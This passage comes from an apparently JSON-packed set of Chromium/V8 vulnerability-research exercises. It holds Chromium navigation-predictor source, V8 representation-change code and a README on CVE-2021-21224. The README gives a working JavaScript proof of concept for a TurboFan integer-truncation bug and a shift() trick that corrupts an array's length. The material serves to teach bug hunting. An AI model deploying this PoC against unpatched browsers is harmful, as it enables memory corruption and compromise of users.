 if (source_is_default_search_engine_page_)\n    return urls_to_prefetch;\n\n  if (sorted_navigation_scores.empty())\n    return urls_to_prefetch;\n\n  // Place in order the top n scoring links. If the top n scoring links contain\n  // a cross origin link, only place n-1 links. All links must score above\n  // |prefetch_url_score_threshold_|.\n  for (size_t i = 0; i < sorted_navigation_scores.size(); ++i) {\n    double navigation_score = sorted_navigation_scores[i]->score;\n    GURL url_to_prefetch = sorted_navigation_scores[i]->url;\n\n    // If the prediction score of the highest scoring URL is less than the\n    // threshold, then return.\n    if (navigation_score < prefetch_url_score_threshold_)\n      break;\n\n    // Log the links above the threshold.\n    urls_above_threshold_.push_back(url_to_prefetch);\n\n    if (i >=\n        static_cast<size_t>(base::GetFieldTrialParamByFeatureAsInt(\n            kNavigationPredictorMultiplePrerenders, \"prerender_limit\", 1))) {\n      continue;\n    }\n\n    // Only the same origin URLs are eligible for prefetching. If the URL with\n    // the highest score is from a different origin, then we skip prefetching\n    // since same origin URLs are not likely to be clicked.\n    if (url::Origin::Create(url_to_prefetch) !=\n        url::Origin::Create(document_url)) {\n      continue;\n    }\n\n    urls_to_prefetch.emplace_back(url_to_prefetch);\n  }\n\n  return urls_to_prefetch;\n}\n\n"
  },
  {
    "path": "LEVEL_3/exercise_1/navigation_predictor.h",
    "content": "// Copyright 2018 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_\n#define CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_\n\n#include <deque>\n#include <set>\n#include <string>\n#include <unordered_map>\n#include <vector>\n\n#include \"base/macros.h\"\n#include \"base/optional.h\"\n#include \"base/sequence_checker.h\"\n#include \"base/time/time.h\"\n#include \"components/no_state_prefetch/browser/no_state_prefetch_handle.h\"\n#include \"content/public/browser/visibility.h\"\n#include \"content/public/browser/web_contents_observer.h\"\n#include \"mojo/public/cpp/bindings/pending_receiver.h\"\n#include \"services/metrics/public/cpp/ukm_recorder.h\"\n#include \"services/metrics/public/cpp/ukm_source_id.h\"\n#include \"third_party/blink/public/mojom/loader/navigation_predictor.mojom.h\"\n#include \"ui/gfx/geometry/size.h\"\n#include \"url/origin.h\"\n\nnamespace content {\nclass BrowserContext;\nclass NavigationHandle;\nclass RenderFrameHost;\n}  // namespace content\n\nnamespace prerender {\nclass NoStatePrefetchManager;\n}\n\nclass TemplateURLService;\n\n// This class gathers metrics of anchor elements from both renderer process\n// and browser process. Then it uses these metrics to make predictions on what\n// are the most likely anchor elements that the user will click.\nclass NavigationPredictor : public blink::mojom::AnchorElementMetricsHost,\n                            public content::WebContentsObserver,\n                            public prerender::NoStatePrefetchHandle::Observer {\n public:\n  explicit NavigationPredictor(content::WebContents* web_contents);\n  ~NavigationPredictor() override;\n\n  // Create and bind NavigationPredictor.\n  static void Create(content::RenderFrameHost* render_frame_host,\n                     mojo::PendingReceiver<AnchorElementMetricsHost> receiver);\n\n  // Enum describing the possible set of actions that navigation predictor may\n  // take. This enum should remain synchronized with enum\n  // NavigationPredictorActionTaken in enums.xml. Order of enum values should\n  // not be changed since the values are recorded in UMA.\n  enum class Action {\n    kUnknown = 0,\n    kNone = 1,\n    // DEPRECATED: kPreresolve = 2,\n    // DEPRECATED: kPreconnect = 3,\n    kPrefetch = 4,\n    // DEPRECATED: kPreconnectOnVisibilityChange = 5,\n    // DEPRECATED: kPreconnectOnAppForeground = 6,  // Deprecated.\n    // DEPRECATED: kPreconnectAfterTimeout = 7,\n    kMaxValue = kPrefetch,\n  };\n\n  // Enum to report the prerender result of the clicked link. Changes must be\n  // propagated to enums.xml, and the enum should not be re-ordered.\n  enum class PrerenderResult {\n    // The prerender finished entirely before the link was clicked.\n    kSameOriginPrefetchFinished = 0,\n    // The prerender was started but not finished before the user navigated or\n    // backgrounded the page.\n    kSameOriginPrefetchPartiallyComplete = 1,\n    // The link was waiting to be prerendered while another prerender was in\n    // progress.\n    kSameOriginPrefetchInQueue = 2,\n    // The prerender was attempted, but a prerender mechanism skipped the\n    // prerender.\n    kSameOriginPrefetchSkipped = 3,\n    // The link was same origin, but scored poorly in the decider logic.\n    kSameOriginBelowThreshold = 4,\n    // The URL was not seen in the load event.\n    kSameOriginNotSeen = 5,\n    // The link was cross origin and scored above the threshold, but we did not\n    // prerender it.\n    kCrossOriginAboveThreshold = 6,\n    // The link was cross origin and scored below the threshold.\n    kCrossOriginBelowThreshold = 7,\n    // The URL was not seen in the load event.\n    kCrossOriginNotSeen = 8,\n    kMaxValue = kCrossOriginNotSeen,\n  };\n\n private:\n  // Struct holding navigation score, rank and other info of the anchor element.\n  // Used for look up when an anchor element is clicked.\n  struct NavigationScore;\n\n  // blink::mojom::AnchorElementMetricsHost:\n  void ReportAnchorElementMetricsOnClick(\n      blink::mojom::AnchorElementMetricsPtr metrics) override;\n  void ReportAnchorElementMetricsOnLoad(\n      std::vector<blink::mojom::AnchorElementMetricsPtr> metrics,\n      const gfx::Size& viewport_size) override;\n\n  // content::WebContentsObserver:\n  void OnVisibilityChanged(content::Visibility visibility) override;\n  void DidStartNavigation(\n      content::NavigationHandle* navigation_handle) override;\n\n  // prerender::NoStatePrefetchHandle::Observer:\n  void OnPrefetchStop(prerender::NoStatePrefetchHandle* handle) override;\n  void OnPrefetchNetworkBytesChanged(\n      prerender::NoStatePrefetchHandle* handle) override {}\n\n  // Returns true if the anchor element metric from the renderer process is\n  // valid.\n  bool IsValidMetricFromRenderer(\n      const blink::mojom::AnchorElementMetrics& metric) const;\n\n  // Returns template URL service. Guaranteed to be non-null.\n  TemplateURLService* GetTemplateURLService() const;\n\n  // Merge anchor element metrics that have the same target url (href).\n  void MergeMetricsSameTargetUrl(\n      std::vector<blink::mojom::AnchorElementMetricsPtr>* metrics) const;\n\n  // Computes and stores document level metrics, including |number_of_anchors_|\n  // etc.\n  void ComputeDocumentMetricsOnLoad(\n      const std::vector<blink::mojom::AnchorElementMetricsPtr>& metrics);\n\n  // Given metrics of an anchor element from both renderer and browser process,\n  // returns navigation score. Virtual for testing purposes.\n  virtual double CalculateAnchorNavigationScore(\n      const blink::mojom::AnchorElementMetrics& metrics,\n      int area_rank) const;\n\n  // If |sum_page_scales_| is non-zero, return the page-wide score to add to\n  // all the navigation scores. Computed once per page.\n  double GetPageMetricsScore() const;\n\n  // Given a vector of navigation scores sorted in descending order, decide what\n  // action to take, or decide not to do anything. Example actions including\n  // preresolve, preload, prerendering, etc.\n  void MaybeTakeActionOnLoad(\n      const GURL& document_url,\n      const std::vector<std::unique_ptr<NavigationScore>>&\n          sorted_navigation_scores);\n\n  // Decides whether to prefetch a URL and, if yes, calls Prefetch.\n  void MaybePrefetch();\n\n  // Given a url to prefetch, uses NoStatePrefetchManager to start a\n  // NoStatePrefetch of that URL.\n  virtual void Prefetch(\n      prerender::NoStatePrefetchManager* no_state_prefetch_manager,\n      const GURL& url_to_prefetch);\n\n  // Returns a collection of URLs that can be prefetched. Only one should be\n  // prefetched at a time.\n  std::deque<GURL> GetUrlsToPrefetch(\n      const GURL& document_url,\n      const std::vector<std::unique_ptr<NavigationScore>>&\n          sorted_navigation_scores);\n\n  // Record anchor element metrics on page load.\n  void RecordMetricsOnLoad(\n      const blink::mojom::AnchorElementMetrics& metric) const;\n\n  // Record timing information when an anchor element is clicked.\n  void RecordTimingOnClick();\n\n  // Records the accuracy of the action taken by the navigator predictor based\n  // on the action taken as well as the URL that was navigated to.\n  // |target_url| is the URL navigated to by the user.\n  void RecordActionAccuracyOnClick(const GURL& target_url) const;\n\n  // Records metrics on which action the predictor is taking.\n  void RecordAction(Action log_action);\n\n  // Sends metrics to the UKM id at |ukm_source_id_|.\n  void MaybeSendMetricsToUkm() const;\n\n  // After an in-page click, sends the index of the url that was clicked to the\n  // UKM id at |ukm_source_id_|.\n  void MaybeSendClickMetricsToUkm(const std::string& clicked_url) const;\n\n  // Returns the minimum of the bucket that |value| belongs in, for page-wide\n  // metrics, excluding |median_link_location_|.\n  int GetBucketMinForPageMetrics(int value) const;\n\n  // Returns the minimum of the bucket that |value| belongs in, used for\n  // |median_link_location_| and the |ratio_distance_root_top|.\n  int GetLinearBucketForLinkLocation(int value) const;\n\n  // Returns the minimum of the bucket that |value| belongs in, used for\n  // |ratio_area|.\n  int GetLinearBucketForRatioArea(int value) const;\n\n  // Notifies the keyed service of the updated predicted navigation.\n  void NotifyPredictionUpdated(\n      const std::vector<std::unique_ptr<NavigationScore>>&\n          sorted_navigation_scores);\n\n  // Record metrics about how many prerenders were started and finished.\n  void RecordActionAccuracyOnTearDown();\n\n  // Used to get keyed services.\n  content::BrowserContext* const browser_context_;\n\n  // Maps from target url (href) to navigation score.\n  std::unordered_map<std::string, std::unique_ptr<NavigationScore>>\n      navigation_scores_map_;\n\n  // Total number of anchors that: href has the same host as the document,\n  // contains image, inside an iframe, href incremented by 1 from document url.\n  int number_of_anchors_same_host_ = 0;\n  int number_of_anchors_contains_image_ = 0;\n  int number_of_anchors_in_iframe_ = 0;\n  int number_of_anchors_url_incremented_ = 0;\n  int number_of_anchors_ = 0;\n\n  // Viewport-related metrics for anchor elements: the viewport size,\n  // the median distance down the viewport of all the links, and the\n  // total clickable space for first viewport links. |total_clickable_space_| is\n  // a percent (between 0 and 100).\n  gfx::Size viewport_size_;\n  int median_link_location_ = 0;\n  float total_clickable_space_ = 0;\n\n  // Anchor-specific scaling factors used to compute navigation scores.\n  const int ratio_area_scale_;\n  const int is_in_iframe_scale_;\n  const int is_same_host_scale_;\n  const int contains_image_scale_;\n  const int is_url_incremented_scale_;\n  const int area_rank_scale_;\n  const int ratio_distance_root_top_scale_;\n\n  // Page-wide scaling factors used to compute navigation scores.\n  const int link_total_scale_;\n  const int iframe_link_total_scale_;\n  const int increment_link_total_scale_;\n  const int same_origin_link_total_scale_;\n  const int image_link_total_scale_;\n  const int clickable_space_scale_;\n  const int median_link_location_scale_;\n  const int viewport_height_scale_;\n  const int viewport_width_scale_;\n\n  // Sum of all scales for individual anchor metrics.\n  // Used to normalize the final computed weight.\n  const int sum_link_scales_;\n\n  // Sum of all scales for page-wide metrics.\n  const int sum_page_scales_;\n\n  // True if device is a low end device.\n  const bool is_low_end_device_;\n\n  // Minimum score that a URL should have for it to be prefetched. Note\n  // that scores of origins are computed differently from scores of URLs, so\n  // they are not comparable.\n  const int prefetch_url_score_threshold_;\n\n  // True if |this| should use the NoStatePrefetchManager to prefetch.\n  const bool prefetch_enabled_;\n\n  // True by default, otherwise navigation scores will not be normalized\n  // by the sum of metrics weights nor normalized from 0 to 100 across\n  // all navigation scores for a page.\n  const bool normalize_navigation_scores_;\n\n  // A count of clicks to prevent reporting more than 10 clicks to UKM.\n  size_t clicked_count_ = 0;\n\n  // Whether a new navigation has started (only set if load event comes before\n  // DidStartNavigation).\n  bool next_navigation_started_ = false;\n\n  // True if the source webpage (i.e., the page on which we are trying to\n  // predict the next navigation) is a page from user's default search engine.\n  bool source_is_default_search_engine_page_ = false;\n\n  // Current visibility state of the web contents.\n  content::Visibility current_visibility_;\n\n  // Current prefetch handle.\n  std::unique_ptr<prerender::NoStatePrefetchHandle> no_state_prefetch_handle_;\n\n  // URL that we decided to prefetch, and are currently prefetching.\n  base::Optional<GURL> prefetch_url_;\n\n  // An ordered list of URLs that should be prefetched in succession.\n  std::deque<GURL> urls_to_prefetch_;\n\n  // URLs that were successfully prefetched.\n  std::set<GURL> urls_prefetched_;\n\n  // URLs that scored above the threshold in sorted order.\n  std::vector<GURL> urls_above_threshold_;\n\n  // URLs that had a prerender started, but were canceled due to background or\n  // next navigation.\n  std::set<GURL> partial_prerfetches_;\n\n  // UKM ID for navigation\n  ukm::SourceId ukm_source_id_;\n\n  // UKM recorder\n  ukm::UkmRecorder* ukm_recorder_ = nullptr;\n\n  // The URL of the current page.\n  GURL document_url_;\n\n  // WebContents of the current page.\n  const content::WebContents* web_contents_;\n\n  SEQUENCE_CHECKER(sequence_checker_);\n\n  DISALLOW_COPY_AND_ASSIGN(NavigationPredictor);\n};\n\n#endif  // CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_\n"
  },
  {
    "path": "LEVEL_3/exercise_2/README.md",
    "content": "# Exercise 2\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.\n\nLEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\nBut the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.\n\n## CVE-2021-21224\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n\n### Details\n\nIn level 3, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1195777\n\n</details>\n\n--------\n\n### Set environment\n\nWelcome to V8\n\nif you have fetched v8, just\n```sh\ngit reset --hard f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3 \ngclient sync\n```\nBut if you not\n```sh\n# get depot_tools\ngit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git\n# add to env var\necho 'export PATH=$PATH:\"/path/to/depot_tools\"' >> ~/.bashrc\n# get v8 source code\nfetch v8\n# chenge to right commit\ncd v8\ngit reset --hard f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3\n# download others\ngclient sync\n```\n\n\n\n### Related code\n\nsrc/compiler/representation-change.cc\n\ntips: Integer overflow\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  ```c++\n// The {UseInfo} class is used to describe a use of an input of a node.\n//\n// This information is used in two different ways, based on the phase:\n//\n// 1. During propagation, the use info is used to inform the input node\n//    about what part of the input is used (we call this truncation) and what\n//    is the preferred representation. For conversions that will require\n//    checks, we also keep track of whether a minus zero check is needed.\n//\n// 2. During lowering, the use info is used to properly convert the input\n//    to the preferred representation. The preferred representation might be\n//    insufficient to do the conversion (e.g. word32->float64 conv), so we also\n//    need the signedness information to produce the correct value.\n//    Additionally, use info may contain {CheckParameters} which contains\n//    information for the deoptimizer such as a CallIC on which speculation\n//    should be disallowed if the check fails.\n  ```\n\n  When do truncation we need check the `{CheckParameters}` like `use_info.type_check() == TypeCheckKind::kSignedSmall`, and if the check fails will trigger deoptimize.\n\n  ```c++\nenum class TypeCheckKind : uint8_t {\n  kNone,\n  kSignedSmall,\n  kSigned32,\n  kSigned64,\n  kNumber,\n  kNumberOrBoolean,\n  kNumberOrOddball,\n  kHeapObject,\n  kBigInt,\n  kArrayIndex\n};\n  ```\n\n  The reasons for bug is missing a check of `use_info`\n  ```c++\nNode* RepresentationChanger::GetWord32RepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Node* use_node, UseInfo use_info) {\n  // Eagerly fold representation changes for constants.\n  switch (node->opcode()) {\n    case IrOpcode::kInt32Constant:\n    case IrOpcode::kInt64Constant:\n    case IrOpcode::kFloat32Constant:\n    case IrOpcode::kFloat64Constant:\n      UNREACHABLE();\n    case IrOpcode::kNumberConstant: {\n      double const fv = OpParameter<double>(node->op());\n      if (use_info.type_check() == TypeCheckKind::kNone ||\n          ((use_info.type_check() == TypeCheckKind::kSignedSmall ||\n            use_info.type_check() == TypeCheckKind::kSigned32 ||\n            use_info.type_check() == TypeCheckKind::kNumber ||\n            use_info.type_check() == TypeCheckKind::kNumberOrOddball ||\n            use_info.type_check() == TypeCheckKind::kArrayIndex) &&\n           IsInt32Double(fv))) {\n        return MakeTruncatedInt32Constant(fv);\n      }\n      break;\n    }\n    default:\n      break;\n  }\n\n  // Select the correct X -> Word32 operator.\n  const Operator* op = nullptr;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kWord32), node);\n  [ ... ]\n  } else if (output_rep == MachineRepresentation::kWord8 ||\n             output_rep == MachineRepresentation::kWord16) {\n    DCHECK_EQ(MachineRepresentation::kWord32, use_info.representation());\n    DCHECK(use_info.type_check() == TypeCheckKind::kSignedSmall ||\n           use_info.type_check() == TypeCheckKind::kSigned32);\n    return node;\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    if (output_type.Is(Type::Signed32()) ||\n        output_type.Is(Type::Unsigned32())) {\n      op = machine()->TruncateInt64ToInt32();     [1]\n    } else if (output_type.Is(cache_->kSafeInteger) &&\n               use_info.truncation().IsUsedAsWord32()) {\n      op = machine()->TruncateInt64ToInt32();\n  ```\n  [1] Truncate Int64 To Int32 without check. This lead to Integer overflow.\n\n  We should search for how can we insert one `TruncateInt64ToInt32` node. I have no idea about it but I guess `kWord64` var as `Signed32` and `Unsigned32` can convert from Int64 to Int32, and we can set 0xffffffff for y(Word32) and if convert to int32 can be -1.\n\n  **Poc**\n  ```js\nfunction foo(a)\n{\n    let x = -1;\n    if(a) x = 0xffffffff;\n    return -1 < Math.max(x,0);\n}\n\nconsole.log(foo(true)) //prints true\nfor (let i = 0; i < 0x10000; ++i) foo(false)\nconsole.log(foo(true)) //prints false\n  ```\n  When construct Poc of turbofan, we need analysis turbolizer or break at `../../src/compiler/representation-change.cc:853` to know whether we get kWord64 and convert to int32. I get this poc form [there](https://iamelli0t.github.io/2021/04/20/Chromium-Issue-1196683-1195777.html#rca-of-issue-1195777)\n\n  checkbounds—elimination had been bannde and `Array.prototype.shift()` is a trick which has been patched now, but this commit can trigger it, we can make array length == -1 by shift\n  ```js\nlet vuln_array = new Array(0 - Math.max(0, x));\nvuln_array.shift();\n  ```\n\n  full exp can be found [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1195777#c15)\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_3/exercise_2/representation-change.cc",
    "content": "// Copyright 2015 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"src/compiler/representation-change.h\"\n\n#include <sstream>\n\n#include \"src/base/bits.h\"\n#include \"src/codegen/code-factory.h\"\n#include \"src/compiler/js-heap-broker.h\"\n#include \"src/compiler/machine-operator.h\"\n#include \"src/compiler/node-matchers.h\"\n#include \"src/compiler/simplified-operator.h\"\n#include \"src/compiler/type-cache.h\"\n#include \"src/heap/factory-inl.h\"\n\nnamespace v8 {\nnamespace internal {\nnamespace compiler {\n\nconst char* Truncation::description() const {\n  switch (kind()) {\n    case TruncationKind::kNone:\n      return \"no-value-use\";\n    case TruncationKind::kBool:\n      return \"truncate-to-bool\";\n    case TruncationKind::kWord32:\n      return \"truncate-to-word32\";\n    case TruncationKind::kWord64:\n      return \"truncate-to-word64\";\n    case TruncationKind::kOddballAndBigIntToNumber:\n      switch (identify_zeros()) {\n        case kIdentifyZeros:\n          return \"truncate-oddball&bigint-to-number (identify zeros)\";\n        case kDistinguishZeros:\n          return \"truncate-oddball&bigint-to-number (distinguish zeros)\";\n      }\n    case TruncationKind::kAny:\n      switch (identify_zeros()) {\n        case kIdentifyZeros:\n          return \"no-truncation (but identify zeros)\";\n        case kDistinguishZeros:\n          return \"no-truncation (but distinguish zeros)\";\n      }\n  }\n  UNREACHABLE();\n}\n\n// Partial order for truncations:\n//\n//               kAny <-------+\n//                 ^          |\n//                 |          |\n//  kOddballAndBigIntToNumber |\n//               ^            |\n//               /            |\n//        kWord64             |\n//             ^              |\n//             |              |\n//        kWord32           kBool\n//              ^            ^\n//              \\            /\n//               \\          /\n//                \\        /\n//                 \\      /\n//                  \\    /\n//                  kNone\n//\n// TODO(jarin) We might consider making kBool < kOddballAndBigIntToNumber.\n\n// static\nTruncation::TruncationKind Truncation::Generalize(TruncationKind rep1,\n                                                  TruncationKind rep2) {\n  if (LessGeneral(rep1, rep2)) return rep2;\n  if (LessGeneral(rep2, rep1)) return rep1;\n  // Handle the generalization of float64-representable values.\n  if (LessGeneral(rep1, TruncationKind::kOddballAndBigIntToNumber) &&\n      LessGeneral(rep2, TruncationKind::kOddballAndBigIntToNumber)) {\n    return TruncationKind::kOddballAndBigIntToNumber;\n  }\n  // Handle the generalization of any-representable values.\n  if (LessGeneral(rep1, TruncationKind::kAny) &&\n      LessGeneral(rep2, TruncationKind::kAny)) {\n    return TruncationKind::kAny;\n  }\n  // All other combinations are illegal.\n  FATAL(\"Tried to combine incompatible truncations\");\n  return TruncationKind::kNone;\n}\n\n// static\nIdentifyZeros Truncation::GeneralizeIdentifyZeros(IdentifyZeros i1,\n                                                  IdentifyZeros i2) {\n  if (i1 == i2) {\n    return i1;\n  } else {\n    return kDistinguishZeros;\n  }\n}\n\n// static\nbool Truncation::LessGeneral(TruncationKind rep1, TruncationKind rep2) {\n  switch (rep1) {\n    case TruncationKind::kNone:\n      return true;\n    case TruncationKind::kBool:\n      return rep2 == TruncationKind::kBool || rep2 == TruncationKind::kAny;\n    case TruncationKind::kWord32:\n      return rep2 == TruncationKind::kWord32 ||\n             rep2 == TruncationKind::kWord64 ||\n             rep2 == TruncationKind::kOddballAndBigIntToNumber ||\n             rep2 == TruncationKind::kAny;\n    case TruncationKind::kWord64:\n      return rep2 == TruncationKind::kWord64 ||\n             rep2 == TruncationKind::kOddballAndBigIntToNumber ||\n             rep2 == TruncationKind::kAny;\n    case TruncationKind::kOddballAndBigIntToNumber:\n      return rep2 == TruncationKind::kOddballAndBigIntToNumber ||\n             rep2 == TruncationKind::kAny;\n    case TruncationKind::kAny:\n      return rep2 == TruncationKind::kAny;\n  }\n  UNREACHABLE();\n}\n\n// static\nbool Truncation::LessGeneralIdentifyZeros(IdentifyZeros i1, IdentifyZeros i2) {\n  return i1 == i2 || i1 == kIdentifyZeros;\n}\n\nnamespace {\n\nbool IsWord(MachineRepresentation rep) {\n  return rep == MachineRepresentation::kWord8 ||\n         rep == MachineRepresentation::kWord16 ||\n         rep == MachineRepresentation::kWord32;\n}\n\n}  // namespace\n\nRepresentationChanger::RepresentationChanger(JSGraph* jsgraph,\n                                             JSHeapBroker* broker)\n    : cache_(TypeCache::Get()),\n      jsgraph_(jsgraph),\n      broker_(broker),\n      testing_type_errors_(false),\n      type_error_(false) {}\n\n// Changes representation from {output_rep} to {use_rep}. The {truncation}\n// parameter is only used for checking - if the changer cannot figure\n// out signedness for the word32->float64 conversion, then we check that the\n// uses truncate to word32 (so they do not care about signedness).\nNode* RepresentationChanger::GetRepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Node* use_node, UseInfo use_info) {\n  if (output_rep == MachineRepresentation::kNone && !output_type.IsNone()) {\n    // The output representation should be set if the type is inhabited (i.e.,\n    // if the value is possible).\n    return TypeError(node, output_rep, output_type, use_info.representation());\n  }\n\n  // Rematerialize any truncated BigInt if user is not expecting a BigInt.\n  if (output_type.Is(Type::BigInt()) &&\n      output_rep == MachineRepresentation::kWord64 &&\n      use_info.type_check() != TypeCheckKind::kBigInt) {\n    node =\n        InsertConversion(node, simplified()->ChangeUint64ToBigInt(), use_node);\n    output_rep = MachineRepresentation::kTaggedPointer;\n  }\n\n  // Handle the no-op shortcuts when no checking is necessary.\n  if (use_info.type_check() == TypeCheckKind::kNone ||\n      // TODO(nicohartmann@, chromium:1077804): Ignoring {use_info.type_check()}\n      // in case the representation already matches is not correct. For now,\n      // this behavior is disabled only for TypeCheckKind::kBigInt, but should\n      // be fixed for all other type checks.\n      (output_rep != MachineRepresentation::kWord32 &&\n       use_info.type_check() != TypeCheckKind::kBigInt)) {\n    if (use_info.representation() == output_rep) {\n      // Representations are the same. That's a no-op.\n      return node;\n    }\n    if (IsWord(use_info.representation()) && IsWord(output_rep)) {\n      // Both are words less than or equal to 32-bits.\n      // Since loads of integers from memory implicitly sign or zero extend the\n      // value to the full machine word size and stores implicitly truncate,\n      // no representation change is necessary.\n      return node;\n    }\n  }\n\n  switch (use_info.representation()) {\n    case MachineRepresentation::kTaggedSigned:\n      DCHECK(use_info.type_check() == TypeCheckKind::kNone ||\n             use_info.type_check() == TypeCheckKind::kSignedSmall);\n      return GetTaggedSignedRepresentationFor(node, output_rep, output_type,\n                                              use_node, use_info);\n    case MachineRepresentation::kTaggedPointer:\n      DCHECK(use_info.type_check() == TypeCheckKind::kNone ||\n             use_info.type_check() == TypeCheckKind::kHeapObject ||\n             use_info.type_check() == TypeCheckKind::kBigInt);\n      return GetTaggedPointerRepresentationFor(node, output_rep, output_type,\n                                               use_node, use_info);\n    case MachineRepresentation::kTagged:\n      DCHECK_EQ(TypeCheckKind::kNone, use_info.type_check());\n      return GetTaggedRepresentationFor(node, output_rep, output_type,\n                                        use_info.truncation());\n    case MachineRepresentation::kFloat32:\n      DCHECK_EQ(TypeCheckKind::kNone, use_info.type_check());\n      return GetFloat32RepresentationFor(node, output_rep, output_type,\n                                         use_info.truncation());\n    case MachineRepresentation::kFloat64:\n      DCHECK_NE(TypeCheckKind::kBigInt, use_info.type_check());\n      return GetFloat64RepresentationFor(node, output_rep, output_type,\n                                         use_node, use_info);\n    case MachineRepresentation::kBit:\n      DCHECK_EQ(TypeCheckKind::kNone, use_info.type_check());\n      return GetBitRepresentationFor(node, output_rep, output_type);\n    case MachineRepresentation::kWord8:\n    case MachineRepresentation::kWord16:\n    case MachineRepresentation::kWord32:\n      return GetWord32RepresentationFor(node, output_rep, output_type, use_node,\n                                        use_info);\n    case MachineRepresentation::kWord64:\n      DCHECK(use_info.type_check() == TypeCheckKind::kNone ||\n             use_info.type_check() == TypeCheckKind::kSigned64 ||\n             use_info.type_check() == TypeCheckKind::kBigInt ||\n             use_info.type_check() == TypeCheckKind::kArrayIndex);\n      return GetWord64RepresentationFor(node, output_rep, output_type, use_node,\n                                        use_info);\n    case MachineRepresentation::kSimd128:\n    case MachineRepresentation::kNone:\n      return node;\n    case MachineRepresentation::kCompressed:\n    case MachineRepresentation::kCompressedPointer:\n      UNREACHABLE();\n  }\n  UNREACHABLE();\n}\n\nNode* RepresentationChanger::GetTaggedSignedRepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Node* use_node, UseInfo use_info) {\n  // Eagerly fold representation changes for constants.\n  switch (node->opcode()) {\n    case IrOpcode::kNumberConstant:\n      if (output_type.Is(Type::SignedSmall())) {\n        return node;\n      }\n      break;\n    default:\n      break;\n  }\n  // Select the correct X -> Tagged operator.\n  const Operator* op;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kTaggedSigned),\n        node);\n  } else if (IsWord(output_rep)) {\n    if (output_type.Is(Type::Signed31())) {\n      op = simplified()->ChangeInt31ToTaggedSigned();\n    } else if (output_type.Is(Type::Signed32())) {\n      if (SmiValuesAre32Bits()) {\n        op = simplified()->ChangeInt32ToTagged();\n      } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) {\n        op = simplified()->CheckedInt32ToTaggedSigned(use_info.feedback());\n      } else {\n        return TypeError(node, output_rep, output_type,\n                         MachineRepresentation::kTaggedSigned);\n      }\n    } else if (output_type.Is(Type::Unsigned32()) &&\n               use_info.type_check() == TypeCheckKind::kSignedSmall) {\n      op = simplified()->CheckedUint32ToTaggedSigned(use_info.feedback());\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedSigned);\n    }\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    if (output_type.Is(Type::Signed31())) {\n      // int64 -> int32 -> tagged signed\n      node = InsertTruncateInt64ToInt32(node);\n      op = simplified()->ChangeInt31ToTaggedSigned();\n    } else if (output_type.Is(Type::Signed32()) && SmiValuesAre32Bits()) {\n      // int64 -> int32 -> tagged signed\n      node = InsertTruncateInt64ToInt32(node);\n      op = simplified()->ChangeInt32ToTagged();\n    } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) {\n      if (output_type.Is(cache_->kPositiveSafeInteger)) {\n        op = simplified()->CheckedUint64ToTaggedSigned(use_info.feedback());\n      } else if (output_type.Is(cache_->kSafeInteger)) {\n        op = simplified()->CheckedInt64ToTaggedSigned(use_info.feedback());\n      } else {\n        return TypeError(node, output_rep, output_type,\n                         MachineRepresentation::kTaggedSigned);\n      }\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedSigned);\n    }\n  } else if (output_rep == MachineRepresentation::kFloat64) {\n    if (output_type.Is(Type::Signed31())) {\n      // float64 -> int32 -> tagged signed\n      node = InsertChangeFloat64ToInt32(node);\n      op = simplified()->ChangeInt31ToTaggedSigned();\n    } else if (output_type.Is(Type::Signed32())) {\n      // float64 -> int32 -> tagged signed\n      node = InsertChangeFloat64ToInt32(node);\n      if (SmiValuesAre32Bits()) {\n        op = simplified()->ChangeInt32ToTagged();\n      } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) {\n        op = simplified()->CheckedInt32ToTaggedSigned(use_info.feedback());\n      } else {\n        return TypeError(node, output_rep, output_type,\n                         MachineRepresentation::kTaggedSigned);\n      }\n    } else if (output_type.Is(Type::Unsigned32()) &&\n               use_info.type_check() == TypeCheckKind::kSignedSmall) {\n      // float64 -> uint32 -> tagged signed\n      node = InsertChangeFloat64ToUint32(node);\n      op = simplified()->CheckedUint32ToTaggedSigned(use_info.feedback());\n    } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) {\n      node = InsertCheckedFloat64ToInt32(\n          node,\n          output_type.Maybe(Type::MinusZero())\n              ? CheckForMinusZeroMode::kCheckForMinusZero\n              : CheckForMinusZeroMode::kDontCheckForMinusZero,\n          use_info.feedback(), use_node);\n      if (SmiValuesAre32Bits()) {\n        op = simplified()->ChangeInt32ToTagged();\n      } else 